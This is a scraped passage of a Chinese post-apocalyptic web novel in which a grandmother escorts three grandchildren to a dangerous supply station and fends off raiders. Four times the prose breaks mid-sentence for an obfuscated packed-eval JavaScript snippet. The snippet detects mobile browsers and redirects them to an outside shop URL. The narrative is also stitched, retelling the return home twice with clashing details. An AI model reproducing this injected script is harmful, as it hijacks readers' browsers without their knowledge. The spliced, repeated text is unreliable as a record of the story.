孩子们信了,小口小口地吃着饼,脸上露出一点难得的笑意。
领早饭的队伍缓缓移动,很快就轮到了林生。他领了五碗稀粥,分给王桂香和孩子们,自己只留了一碗。王桂香不肯要,他却把碗塞到乐乐手里:“孩子多喝点,路上体力好。”
广场的风有点大,吹得雾散了又聚。王桂香捧着热粥,心里暖烘烘的,却又沉甸甸的。她知道,这是她在安全区里,最后一次能安稳喝到的热粥了。接下来的路,是雾,是险,是未知的生死。
吃完粥,林生带着王桂香和孩子们,朝着安全区的西门走去。西门是物资出口,比东门的人员出口管控更严,门口站着四个治安队队员,都穿着白色制服,手里拿着警棍,眼神锐利地巡视着四周。
“林生,这是?”一个治安队队员看向林生,语气平淡。
“李队长,这是王大娘,带着三个孩子,是分拣点的,老赵安排的,今天去外围中转站搬运物资。”林生递上一张写着名字的纸,是老赵提前开好的证明。
李队长接过纸,扫了一眼,又看了看王桂香和三个孩子,眉头轻轻皱了皱:“带着孩子?中转站那边乱,孩子要是闹起来,谁负责?”
“李队长放心,孩子乖,不闹。”林生连忙说道,“老赵都跟我说了,中转站今天活多,缺人手,大娘干活麻利,孩子也听话,不会添麻烦。”
李队长又看了看孩子们,妞妞躲在王桂香身后,小手抓着衣角,乐乐则挺直了身子,小宝安静地站着,都没说话。他沉默了几秒,点了点头:“行吧,跟着队伍走,不许离队,不许乱跑,出了事,你们自己负责。”
“多谢李队长!”林生连忙道谢,王桂香也跟着躬身。
李队长挥了挥手,示意他们过去。王桂香牵着孩子,跟着林生,走出了西门。
一踏出安全区的大门,晨雾就更浓了,像是一张巨大的灰网,把外面的世界裹得严严实实。风里的味道变了,不再是窝棚区的烟火气,而是废墟的腐味、泥土的腥气,还有一丝若有若无的、感染者的腥甜。
王桂香的心脏猛地一缩,下意识把孩子们往身边拉了拉,手摸到了帆布包里的柴刀,冰凉的触感让她稍微镇定了一点。
远处,有几个幸存者背着编织袋,朝着一个方向走,那是去中转站的队伍。林生快步走过去,跟一个身材魁梧的男人打了招呼:“老周,这是王大娘,带着三个孩子,今天跟你们一起去中转站。”
老周大概四十多岁,脸上有一道长长的疤痕,眼神却很温和,他看了看王桂香和孩子们,点了点头:“行,跟上队伍,别掉队。前面有感染者,得快点走。”
王桂香牵着孩子,紧紧跟着队伍,一步一步,走出了安全区的范围。
身后的安全区大门,渐渐被雾吞没,变成了一个模糊的黑点。王桂香回头看了一眼,心里泛起一丝说不清的情绪,有不舍,有忐忑,有害怕,却没有后悔。
她知道,从踏出这扇门的那一刻起,她就没有退路了。
前路是重重迷雾,是未知的危险,是离机械厂最近的一线希望。
她只能往前走。
队伍沿着一条被杂草半掩的路往前走,路的两侧是倒塌的房屋和废弃的车辆,玻璃碎片在雾里闪着冷光。每个人都沉默着,只有脚步声和风吹过杂草的沙沙声,还有孩子们偶尔压抑的呼吸声。
妞妞有点害怕,小手紧紧抓着王桂香的衣角,小身子往她怀里靠了靠。王桂香低头,轻轻摸了摸她的头,把布包里的一小块饼拿出来,塞到她手里:“妞妞乖,吃点饼,就不怕了。”
妞妞小口吃着饼,渐渐安静下来。乐乐则走在最外侧,眼睛时不时扫过四周,警惕地留意着身边的动静;小宝也紧紧跟着,不说话,却脚步不停,生怕落下一步。
走了大概半个多小时,雾稍微散了一点,前方出现了一片低矮的建筑,是以前的物流仓库,也就是中转站。仓库的大门被撞坏了,用几根粗木头临时堵着,门口站着两个拿着木
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17517214|202936||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
棍的男人,都是流民打扮,眼神凶狠地看着过往的人。
队伍停下了,老周走上前,跟门口的男人说了几句,递上了一个布包,里面大概是干粮。门口的男人检查了一下队伍的人数,又看了看每个人的证明,才挥了挥手,让他们进去。
王桂香牵着孩子,跟着队伍走进了中转站。
里面比外面更热闹,也更乱。到处都是堆积的物资,破旧的编织袋、发霉的粮食、生锈的工具、还有晒干的野菜,乱七八糟地堆在地上。人也多,有穿着安全区衣服的幸存者,有穿着机械厂制服的人,还有衣衫褴褛的流民,大家都忙碌着,搬运物资,登记数量,彼此很少说话,却都带着警惕。
角落里,几个流民围在一起,低声交谈着,眼神时不时扫过路过的人,带着不怀好意的光;不远处,一个穿着机械厂制服的男人正在跟中转站的管事说话,语气很冲,似乎在争执物资的分配;还有一个老太太,坐在地上,抱着一个孩子,偷偷抹着眼泪,大概也是来寻亲的,却没有门路。
王桂香的眼睛快速扫视着四周,心里暗暗警惕。
这里的空气里,弥漫着一种紧张的气息。
每个人都在为了物资、为了活下去,拼尽全力。
而她,一老三小,在这样的地方,就像一只落入狼群的小羊,随时可能被盯上。
老周把他们带到一堆物资旁边,指了指旁边的几个编织袋:“王大娘,你们就负责把这些旧工具搬到仓库后面的货架上,动作慢没事,别弄伤了孩子。我去跟管事登记,一会儿过来叫你们吃饭。”
“多谢周大哥。”王桂香连忙道谢。
老周点了点头,转身走了。
王桂香牵着孩子,走到物资旁边,开始搬工具。工具都不算重,可都是生锈的铁器,沾着灰尘,搬久了手会疼。她让孩子们坐在旁边的空地上,不许乱跑,自己则弯腰,一点点把工具搬进编织袋,再搬到货架上摆放。
乐乐帮着递工具,小宝也学着奶奶的样子,拿起小小的工具,放在袋子里,妞妞则坐在地上,摆弄着手里的小石子,不吵不闹。
周围的人来来往往,有人看他们一眼,就移开了目光,没人特意关注。王桂香心里稍稍安定了一点,却依旧不敢放松。
她一边搬工具,一边悄悄留意着周围的动静。
那个穿着机械厂制服的男人还在跟管事争执,声音不大,却能听到几句:“……周主任说了,这次的物资,优先给我们机械厂……外面的人,少拿点就行……”
“机械厂的人,就是霸道!”一个流民低声抱怨,被身边的人连忙拉住,“别乱说,被基地的人听见,你就完了。”
基地。
王桂香的心脏猛地一跳,下意识加快了搬工具的速度。
基地的人,竟然也到了中转站。
那机械厂那边,怕是更危险了。
34.第 34 章
她越想越担心,手里的动作却没停。她知道,现在不是想这些的时候,先完成搬运,平安回到安全区,才是最重要的。
就在她搬完最后一袋工具,直起腰,准备歇口气的时候,身后突然传来一个声音,带着点戏谑:“哟,这不是安全区来的老太太吗?带着三个孩子,来这受苦?”
王桂香猛地转身,看到两个男人站在身后,都是流民打扮,衣衫褴褛,脸上带着泥渍,眼神不怀好意地看着她和孩子们。
其中一个男人,脸上有一道刀疤,正是昨天在窝棚外徘徊、想打劫的歹人之一!
王桂香的心脏瞬间提到了嗓子眼,下意识把孩子们往身后拉了拉,手摸到了帆布包里的柴刀,紧紧攥着,声音压低,却带着镇定:“我们在干活,别碍事。”
“干活?”刀疤男笑了起来,声音刺耳,“我看啊,是来送菜的。三个孩子,长得还不错,要是卖给基地的人,能换不少吃的。”
另一个男人也附和道:“是啊,老太太,你这老骨头,也护不住孩子。不如把孩子交给我们,我们给你吃的,怎么样?”
妞妞听到这话,吓得哭了出来,紧紧抱着王桂香的腿,声音发抖:“奶奶,我怕……”
小宝也脸色发白,小手抓着王桂香的衣角,乐乐则挡在孩子们面前,小脸绷得紧紧的,却有点害怕。
王桂香的心像被刀割一样疼,却强忍着,眼神冰冷地看着两个歹人:“我劝你们,别碰我的孩子。安全区的治安队就在附近,你们要是敢动手,死路一条。”
“治安队?”刀疤男嗤笑一声,“他们离这远着呢,这荒郊野岭的,谁管我们?老太太,识相点,把孩子交出来,不然,别怪我们不客气。”
他说着,伸手就想去抓妞妞。
王桂香眼神一厉,猛地从帆布包里拿出柴刀,挥了过去,刀身裹着黑布,却依旧带着冷风。
“滚开!”她声音沙哑,却带着决绝,“谁敢碰我孩子,我就砍死谁!”
刀疤男没想到她真的有刀,下意识后退一步,脸上的戏谑变成了惊讶:“你这老东西,还真有刀?”
另一个男人也有点慌,却还是壮着胆子:“就一把破刀,能奈我何?兄弟们,上!”
两人朝着王桂香扑了过来。
王桂香握紧柴刀,做好了拼命的准备。她知道,自己老了,力气不如从前,可她不能退。
退一步,孩子们就完了。
她死死盯着扑过来的歹人,眼神里没有丝毫畏惧。
就在这时,远处传来一声大喝:“住手!”
是老周的声音!
刀疤男和另一个男人脸色一变,对视一眼,不敢再多做停留,转身就跑,很快就消失在雾里。
王桂香握着柴刀,浑身紧绷,直到看不到歹人的身影,才缓缓松开手,大口大口地喘着气,后背早已被冷汗浸湿。
“奶奶,你没事吧?”乐乐跑过来,小脸发白,紧紧抓着王桂香的手。
“奶奶没事,不怕。”王桂香蹲下身,把孩子们紧紧搂在怀里,声音带着颤抖,却努力挤出笑意,“歹人跑了,没事了。”
妞妞还在哭,小宝也眼眶泛红,乐乐则咬着嘴唇,小手攥得紧紧的。
王桂香心疼地摸着孩子们的头,轻轻拍着他们的背,安抚着他们受惊的心。
老周快步跑了过来,看到王桂香手里的柴刀,又看了看哭着的孩子们,脸色沉了下来:“王大娘,怎么回事?有人欺负你们?”
王桂香深吸一口气,压下心底的恐惧,摇了摇头:“没事,一点小误会,歹人跑了。多谢周大哥。”
她不想把事情闹大,免得被基地的人知道,引来不必要的麻烦。
老周看了看她,又看了看孩子们,眼神里带着点了然,没再多问,只是说道:“中转站这地方乱,基地的人、流民、还有机械厂的人,都在这晃。你们以后干活,多留意点,别单独待着。我跟管事的说了,给你们换个角落,那边人多,安全点。”
“多谢周大哥,麻烦你了。
老周的声音带着一股沉稳的劲儿,像一块石头,稳稳砸进了王桂香慌乱的心湖里。她握着柴刀的手微微松开,指节还在发颤,却强撑着挺直脊背,把三个孩子护得更紧了些。
“周大哥,多谢你。”她声音压得极低,带着一丝刚经历过生死的沙哑,却尽量让语气听着平稳,“就是一点小摩擦,过去了。”
老周没多追问细节,只是目光扫过她手里裹着黑布的柴刀,又落在孩子们泪痕未干的小脸上,眉头轻轻皱了皱,没再多说什么。他转身朝旁边一个堆放着空编织袋的角落努了努嘴:“王大娘,你们挪到那边去。那片人多杂,有安全区来的老伙计,也有机械厂的人,相对稳当些。待会儿吃饭的时候,我来叫你们,记着,别跟陌生人搭话,尤其是那些穿黑布褂子的,看着像基地的探子,离远点。”
“俺记下了,多谢周大哥。”王桂香连忙应着,牵着孩子,小心翼翼地挪到了那个角落。
这一片果然热闹些。几个安全区来的幸存者正坐在地上歇气,手里捧着粗陶碗,就着冷硬的野菜干喝粥。看到王桂香带着孩子过来,有人抬了抬屁股,给她让出一小块干净点的地方,没人多问,只是递过来一个眼神,带着点同是天涯沦落人的温和。
王桂香把孩子们安置好,让乐乐坐在最外面,守着弟弟妹妹,自己则把帆布包往腿上一放,悄悄从里面摸出那包林晓给的消炎药,又拿出一块干净的粗布,蘸了点仓库角落的冷水,轻轻擦了擦妞妞脸上的泪痕。
妞妞抽噎着,小手攥着王桂香的衣角,小身子还在微微发抖:“奶奶,他们……他们还要来吗?”
“不来了。”王桂香轻轻拍着她的背,声音柔得像水,却带着一股笃定,“有周大哥在,还有这些叔叔阿姨,没
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17520306|202936||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人敢欺负咱。咱乖乖待着,就没事。”
乐乐小脸上还带着后怕,却还是绷着劲儿,小声应道:“奶奶,我看着呢,谁也不敢过来。”
王桂香心里一暖,摸了摸他的头。这孩子,是真的长大了,学会扛事儿了。
她低头看了看小宝,小家伙眼眶红红的,却没哭,只是安静地靠在她身边,小手轻轻拉着她的衣角,那副模样,看得王桂香心口发酸。末世里的孩子,本该是无忧无虑的,如今却要早早见识这些刀光剑影的恶意。
她把林生给的玉米面饼拿出来,掰成小块,分给三个孩子,自己只拿了一点点野菜干:“吃点东西,压压惊。吃完了,咱就把活干完,早点回去。”
孩子们都乖,小口小口地吃着,不再说话,只是偶尔抬头看看王桂香,眼神里满是依赖。
就在这时,仓库另一侧传来了一阵嘈杂的声音,夹杂着男人的呵斥和女人的哭腔。王桂香下意识抬头看去,只见几个衣衫褴褛的流民,正围着一个抱着孩子的妇女,推推搡搡,嘴里说着不堪入耳的话。
那妇女抱着孩子,缩在墙角,哭得撕心裂肺,却不敢反抗。孩子大概也就一两岁大,被吓得哇哇大哭,小脸惨白。
周围的人都看在眼里,却没人上前。有人叹了口气,端着碗,默默别过脸;有人摇了摇头,小声嘀咕:“中转站这地方,谁也管不了谁,多一事不如少一事。”
王桂香的心猛地一紧。她太清楚这种处境了。在这废墟之上,弱者就是任人宰割的羔羊,没有实力,连呼救都是奢望。
可她也知道,自己现在自身难保。手里只有一把裹着布的柴刀,身边只有三个孩子,要是贸然上去,说不定连自己都搭进去。
她咬了咬嘴唇,目光死死盯着那几个流民。流民里有两个是青壮年,看着力气不小,还有一个拿着木棍,看着就凶。
乐乐也看到了,小脸绷得紧紧的,小手悄悄抓住了王桂香的裤脚,小声说:“奶奶,他们欺负人。”
王桂香深吸一口气,压下心底的冲动。现在不是逞英雄的时候,她的首要任务,是护住身边的三个孩子。
就在这时,一个穿着机械厂制服的男人,快步走了过去。他身材高大,脸上带着一道横疤,眼神锐利,往那一站,就有一股慑人的气势。
“干什么的?”他声音低沉,带着一股冷意,“中转站规矩,不许闹事,不许欺负人,忘了?”
那几个流民没想到会有人出头,愣了一下,其中一个刀疤脸的流民不服气地说道:“兄弟,这是我们跟这娘们的私事,跟你没关系。”
“在中转站,我的事,就是规矩。”机械厂男人语气更冷,随手捡起地上一根铁棍,“要么滚,要么,我送你们去见感染者。”
他身上的气势太强,那几个流民对视一眼,不敢再多说,狠狠瞪了那妇女一眼,骂骂咧咧地走了。
危机解除。
35.第 35 章
那妇女抱着孩子,瘫坐在地上,哭得更凶了,一边哭一边道谢:“多谢……多谢这位大哥……”
机械厂男人没说话,只是看了看她怀里的孩子,又扫了一眼周围,最后目光落在了王桂香这边。他的眼神很锐利,像刀子一样,扫过王桂香和孩子们,停留了几秒,又移开了,转身就走。
王桂香的心,却瞬间提到了嗓子眼。
这个男人。
她总觉得,在哪里见过。
或者说,他的眉眼,有点像……像她的儿子张强。
可又觉得不像。张强的眉眼更柔和些,而这个男人,脸上带着一道横疤,气质凶悍,完全是另一副模样。
也许是重名吧。王桂香暗暗安慰自己。机械厂这么大,重名的人多了去了。
可心里,还是忍不住泛起一丝涟漪。
她低头看了看小宝,小家伙正好奇地看着那个机械厂男人的背影,小手指了指,小声说:“奶奶,那个叔叔,好凶。”
“嗯。”王桂香应着,把小宝往怀里搂了搂,“咱不看,咱乖乖的。”
没过多久,老周就过来了,手里拿着几个粗陶碗,里面盛着热乎的野菜粥,还有一小份咸菜。
“王大娘,吃饭了。”他把碗递过来,“今天就这点,凑合垫垫。吃完了把活干完,天黑前赶回去。”
“多谢周大哥。”王桂香连忙接过碗,心里暖暖的。
她把粥分给孩子们,自己只喝了几口。孩子们吃得很香,温热的粥下肚,脸上的血色渐渐回来了,也不再像刚才那般害怕。
吃完饭后,王桂香就开始继续干活。这一次,她选的都是些轻便的旧衣物,慢慢分拣,心里却一直在琢磨刚才那个机械厂男人。
他到底是谁?
真的只是偶然路过?
还是……刻意来寻人的?
王桂香不敢深想。她怕自己生出不该有的期待,最后换来一场空欢喜。
时间一点点过去,夕阳的余晖透过雾霭,洒在中转站的废墟上,给这片狼藉的地方,镀上了一层淡淡的暖光。
老周过来喊他们了:“王大娘,活干完了,收拾收拾,准备回安全区。”
王桂香连忙收拾好东西,牵着三个孩子,跟着老周,朝着仓库大门走去。
走出仓库大门,外面的雾已经散了不少,夕阳的光芒洒下来,照在脸上,暖融融的。
队伍开始集合,都是今天来中转站干活的人。老周点了点人数,确认没少人,才带着队伍,朝着安全区的方向走。
一路上,都很平静。没有感染者,没有流民,只有风吹过废墟的沙沙声,还有孩子们小声的交谈声。
妞妞走累了,王桂香就背着她,乐乐和小宝跟在身边,一步一步,往前走。
走了大概一个多小时,远处终于出现了安全区西门的轮廓,还有治安队巡逻的灯光。
王桂香的心,终于彻底落了下来。
她回头看了看身后的废墟,心里默默想着。机械厂。
这一次,虽然只是离得更近了一点,虽然只是见到了一个可疑的人,虽然依旧没有真正的重逢。但她知道,她已经迈出了最关键的一步。
只要她还在走,只要她还在找,只要孩子们还在身边,重逢的日子,就不会太远。
回到安全区,西门的治安队队员检查了证明,确认无误,才放他们进去。
一进安全区,王桂香就觉得浑身轻松了不少。这里的烟火气,这里的秩序,让她那颗悬了一天的心,彻底安稳下来。
林生已经在西门附近等着了,看到他们回来,连忙快步迎上来:“大娘,回来了!孩子们都没事吧?”
“没事,都好。”王桂香笑着说,语气里带着一丝劫后余生的庆幸,“多亏了老周照应。”
她把中转站发生的事,简略地说了一遍,隐去了那个机械厂男人的细节,只说遇到了一点小麻烦,被老周解决了。
林生听了,脸色沉了下来:“中转站那地方,比我想象的还乱。基地的人最近活动越来越频繁,还有不少流民窜进去,你们以后要是再去,千万要小心,别单独待着。”
“俺知道,俺都记住了。”王桂香点头,心里却在想着那个机械厂男人。
回到窝棚,林晓也在。她看到王桂香和孩子们回来,连忙迎上来,给孩子们检查了一遍,又看了看王桂香的手,确认没有受伤,才松了口气:“大娘,你们没事就好。今天中转站那边,有没有听到什么消息?”
王桂香犹豫了一下,还是把那个机械厂男人的事说了一遍,只是隐去了自己觉得他像张强的那部分。
“……他就看了一眼,没说话,就走了。”王桂香说道,“不知道是不是机械厂的管事,看着挺凶的。”
林晓皱了皱眉,沉思道:“机械厂那边,最近确实有不少人出来办事。周主任手下有几个得力的手下,都带着人,经常来中转站。那个男人,脸上有一道横疤……我好像听人提过,叫阿虎,是周主任身边的人,挺不好惹的。”
“阿虎?”王桂香默念了一遍这个名字,心里却没有半点波澜。
不是张强。
也好。
至少,不是。
“大娘,别多想。”林晓看出了她的失落,轻声安慰道,“只要张强叔还在机械厂,就总有机会。咱们现在要做的,就是好好活着,攒足力气,等下一次机会。”
“嗯。”王桂香点头,看着身边熟睡的孩子们,心里渐渐平静下来。
今天的中转站之行,虽然惊险,却也让她明白了一件事。
她不能再冲动。
不能再凭着一腔热血,就贸然去闯。
她现在是三个孩子的依靠,是寻亲路上的唯一主心骨。
她必须稳。
必须忍。
必须,一步步,朝着那个名为“家”的方向,慢慢走。
夜色再次降临,安全区的灯火昏黄而温暖。王桂香躺在孩子们身边,手
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17522722|202936||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
里轻轻摸着小宝的头,看着窗外安静的夜色,心里一片平静。
她知道,明天又是新的一天。
明天,依旧是领饭、干活、守着孩子们。
但她也知道,在这平静的日子背后,有一个名为“希望”的种子,已经悄悄发了芽。
而她,会用自己的余生,用自己的双手,去浇灌它。
夕阳把最后一点暖光泼在废弃城区的断壁残垣上,晨雾早已散尽,风里的腥甜腐味被落日烘得淡了些,却依旧裹着末世独有的苍凉,刮在脸上带着细碎的钝痛。王桂香背着昏昏欲睡的妞妞,一手牵着小宝,乐乐紧紧跟在身侧,小手死死攥着她的衣角,跟在返程队伍的末尾,一步一步朝着安全区的方向挪动。
背上的妞妞小脸贴在她的肩头,呼吸均匀,许是白天受了惊吓,又走了远路,此刻睡得极沉,小眉头却依旧微微蹙着,指尖无意识地抓着王桂香的衣领,生怕一松手就被丢下。王桂香的脊背早已被汗水浸透,老旧的骨头缝里泛着酸胀的疼,每走一步都像是灌了铅,可她不敢放慢脚步,更不敢停下,身后是危机四伏的废弃城区,身前是唯一能遮风挡雨的安全区,唯有往前走,才能护住身边的三个孩子。
队伍走得沉稳,带队的老周走在最前方,手里攥着一根粗木棍,眼神锐利地扫视着道路两侧的废墟死角,时不时回头叮嘱一句:“都跟紧了,别落单,这片区域前两天刚清过感染者,难保没有漏网的,天黑前必须赶回安全区,晚了就危险了。”
队伍里的幸存者没人应声,个个紧绷着神色,脚步匆匆,手里要么攥着工具,要么紧紧护着怀里的物资,连呼吸都刻意放轻。白天在中转站经历的混乱与凶险,还刻在每个人的心底,那两个逃窜的歹人、流民欺凌妇女的闹剧、机械厂人员与管事的争执、还有若隐若现的基地探子身影,都让每个人心里悬着一根弦,此刻只想尽快回到安全区,逃离这片鱼龙混杂的是非之地。
王桂香走在队伍中间偏后的位置,刻意把孩子们护在道路内侧,避开外侧倒塌的房屋与丛生的杂草,眼睛时刻盯着四周,耳朵竖着捕捉每一丝异动。左手边是半截倒塌的居民楼,裸露的钢筋如同狰狞的骨刺,楼洞里黑漆漆的,透着一股阴冷的气息,偶尔传来几声细碎的响动,不知是野鼠窜动,还是潜藏的感染者;右手边是废弃的公路,几辆翻倒的汽车歪歪斜斜地停着,玻璃早已碎尽,车身锈迹斑斑,里面空无一人,却像是藏着无数未知的危险。
她的右手始终揣在帆布包里,紧紧握着那把裹着黑布的柴刀,冰凉的刀身贴着掌心,成了她此刻唯一的底气。白天在中转站,那两个歹人扑上来的瞬间,她是真的做好了拼命的打算,若是老周晚来一步,她就算拼了这条老命,也绝不会让歹人伤孩子分毫。末世里活了这么久,她早已明白,软弱换不来怜悯,唯有豁出一切的狠劲,才能护住想护的人。
乐乐走在最外侧,小小的身子绷得笔直,眼神警惕地扫过四周,像个小护卫一般,牢牢守着奶奶和弟弟妹妹。
36.第 36 章
他没有说话,也没有喊累,只是紧紧跟着队伍,偶尔看到路边有松动的石块,还会伸手把小宝往身边拉一拉,生怕弟弟绊倒。经历过白天的惊吓,这个本就早熟的孩子,越发沉稳了,眼底的童真被一层薄薄的戒备覆盖,多了几分不属于这个年纪的担当。
小宝安安静静地跟着王桂香,小手被奶奶攥着,掌心传来的温度让他心安,不再像白天那般惶恐不安,只是偶尔抬头看看奶奶的侧脸,又看看背上的妞妞,小脸上满是依赖。他依旧话少,可眼神里的麻木褪去了不少,多了一丝鲜活,在这颠沛流离的日子里,奶奶和身边的同伴,成了他唯一的依靠,也是他黑暗世界里仅有的光。
王桂香感受着掌心孩子的温度,听着背上妞妞均匀的呼吸,心里五味杂陈。白天在中转站,那个穿着机械厂制服、脸上带疤的男人阿虎,目光扫过来的那一瞬间,她的心脏猛地骤停,下意识就把孩子们往身后护,以为是基地的人,或是心怀不轨的歹人,可他只是淡淡看了一眼,便转身离开,没有丝毫停留,那份疏离与冷漠,不像是寻人,更像是例行巡查。
林晓说他是机械厂周主任身边的得力手下,性子凶悍,不好招惹,王桂香心里清楚,那绝不是她的儿子张强。张强性子温和,做事踏实,哪怕末世磨去了棱角,也绝不会有那般凛冽的戾气,更不会留着骇人的疤痕。可即便如此,看到机械厂的人,她心里依旧会泛起波澜,那是离儿子最近的地方,每一个从那里出来的人,都牵着她的念想,都让她觉得,重逢的日子又近了一分。
她压下心底翻涌的情绪,目光落在前方逐渐清晰的安全区轮廓上,心里渐渐安定。安全区的围墙在夕阳下显得格外厚重,门口的治安队巡逻灯已经亮起,昏黄的光点在暮色里格外显眼,那是秩序与安稳的象征,是这片废墟里唯一的避风港。可她也清楚,这份安稳从来都不是永恒的,中转站的暗流、基地的逼近、机械厂的封锁、安全区内部潜藏的危机,都像一张无形的大网,慢慢收紧,谁也不知道,下一次风浪会在何时来临。
队伍缓缓靠近安全区西门,门口值守的治安队队员早已看到返程的队伍,抬手示意停下,开始逐一核查身份。带队的老周走上前,递上人员名单与物资交接单据,语气沉稳地说道:“李队长,返程人员全部到齐,物资清点完毕,没有遗漏,也没有人员伤亡,只是在中转站遇到点流民滋事,已经解决了。”
被称作李队长的治安队员接过单据,仔细核对了一番,又抬眼扫过队伍里的每一个人,目光在王桂香和三个孩子身上停留了片刻,眉头微微皱起,语气带着几分审视:“带着孩子跑中转站,下次别这么冒险,那边鱼龙混杂,孩子经不起折腾。”
王桂香连忙躬身,语气恭敬:“多谢李队长提醒,下次俺一定注意,实在是分拣点缺人手,俺也是想多挣点口粮,给孩子们填填肚子。”
李队长没再多说,挥了挥手,示意队伍放行。
跨过安全区大门的那一刻,王桂香悬了一整天的心,终于彻底落了地。风里的气息瞬间变了,不再是废墟的腐臭与腥甜,而是窝棚区的烟火气,混合着柴火、野菜与尘土的味道,平淡却安心。通道上往来的幸存者,脸上带着疲惫,却少了几分在外的紧绷,彼此擦肩而过,没有过多的交流,却有着一种心照不宣的平和。
“大娘,你们安全回来就好,我先回分拣点复命,往后要是再去中转站,提前跟我说,我再跟老赵打招呼。”老周朝着王桂香摆了摆手,语气平和,没有多余的客套,却透着实在的善意。
“多谢周大哥,今日若不是你,俺们祖孙几个怕是要遭难,这份恩情,俺记在心里。”王桂香连忙道谢,看着老周的背影,心里满是感激。在这乱世里,萍水相逢的援手,远比平日里的虚情假意珍贵百倍。
老周摆了摆手,转身朝着物资分拣点走去,很快便消失在通道尽头。
王桂香牵着孩子,慢慢朝着居住的窝棚走去,脚步终于放慢了些,紧绷的身体也渐渐放松。连日来的疲惫瞬间涌了上来,浑身的骨头像是散了架,肩膀因为背着妞妞酸胀难忍,手臂也微微发麻,可她脸上却带着一丝淡淡的笑意。这一趟中转站之行,虽有惊险,却也让她离机械厂更近了一步,摸清了中转站的情况,见到了机械厂的人,更护着孩子们平安归来,这便是最好的结果。
刚走到窝棚附近,就看到林生站在门口张望,神色带着几分焦急,看到王桂香一行人,立刻快步迎了上来,伸手接过她背上的妞妞,语气急切:“大娘,可算回来了,我跟晓燕都担心坏了,生怕你们在外面出什么事,中转站那边乱,我一早就心神不宁。”
“让你担心了,林同志,没事,都平安回来了。”王桂香松了口气,揉了揉酸胀的肩膀,脸上露出一抹疲惫的笑意,“多亏了老周照应,遇到点小麻烦,也解决了,没伤到孩子。”
林生抱着妞妞,仔细打量了一番三个孩子,又看了看王桂香,确认没有受伤,才放下心来,掀开窝棚的麻布门帘:“快进屋,晓燕在里面等着呢,烧了热水,熬了野菜粥,先歇歇,喝口热的,暖暖身子。”
窝棚里,林晓正坐在小板凳上,守着铁皮炉子,炉子里的柴火噼啪作响,锅里的野菜粥冒着热气,淡淡的香气弥漫在小小的窝棚里,驱散了暮色里的寒凉。看到王桂香进来,林晓立刻起身,脸上露出欣喜的神色,快步走上前,接过王桂香手里的帆布包,又给孩子们搬来小凳子:“大娘,你们可算回来了,快坐,先喝碗热粥,路上肯定累坏了。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527123|202936||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“辛苦你了,林护士,还特意给俺们烧热水熬粥。”王桂香心里一暖,看着窝棚里昏黄的煤油灯、热气腾腾的粥锅、还有眼前好心的父女俩,眼眶微微发热。在这举目无亲的末世,若不是林生父女收留照应,她带着三个孩子,根本活不到现在,更别说寻亲了。
“大娘,跟我们还客气什么,都是一家人。”林晓笑着说道,给三个孩子盛了粥,递到他们手里,又给王桂香和林生各盛了一碗,“快吃吧,粥熬得稠,垫垫肚子,晚上好好歇一晚,明天再去分拣点干活。”
孩子们早就饿了,捧着温热的粥碗,小口小口地喝着,脸上露出满足的神色。妞妞被林生放在干草铺上,睡醒了觉,喝了热粥,精神好了许多,不再像白天那般害怕,眨巴着眼睛看着林晓,小声喊了一句“姐姐”。
林晓笑着摸了摸她的头,眼神温柔。
王桂香捧着粥碗,温热的粥滑入喉咙,暖了肠胃,也暖了心底,连日来的疲惫与惊惧,都消散了不少。她慢慢喝着粥,把白天在中转站的经历,一五一十地告诉了林生父女,从流民滋事、老周解围,到机械厂阿虎现身、流民欺凌妇女,再到基地探子若隐若现的踪迹,没有丝毫隐瞒。
林生听得神色凝重,手里的粥碗渐渐放下,眉头紧锁:“没想到中转站竟然乱成这样,基地的探子都敢明目张胆地出现,看来他们是真的把势力往这边扩张了,安全区怕是也快不太平了。机械厂的人频繁出入中转站,要么是物资紧缺,要么是周主任在打探外界的消息,张强在里面,怕是也身不由己,周主任管控严格,他根本没法自由出入。”
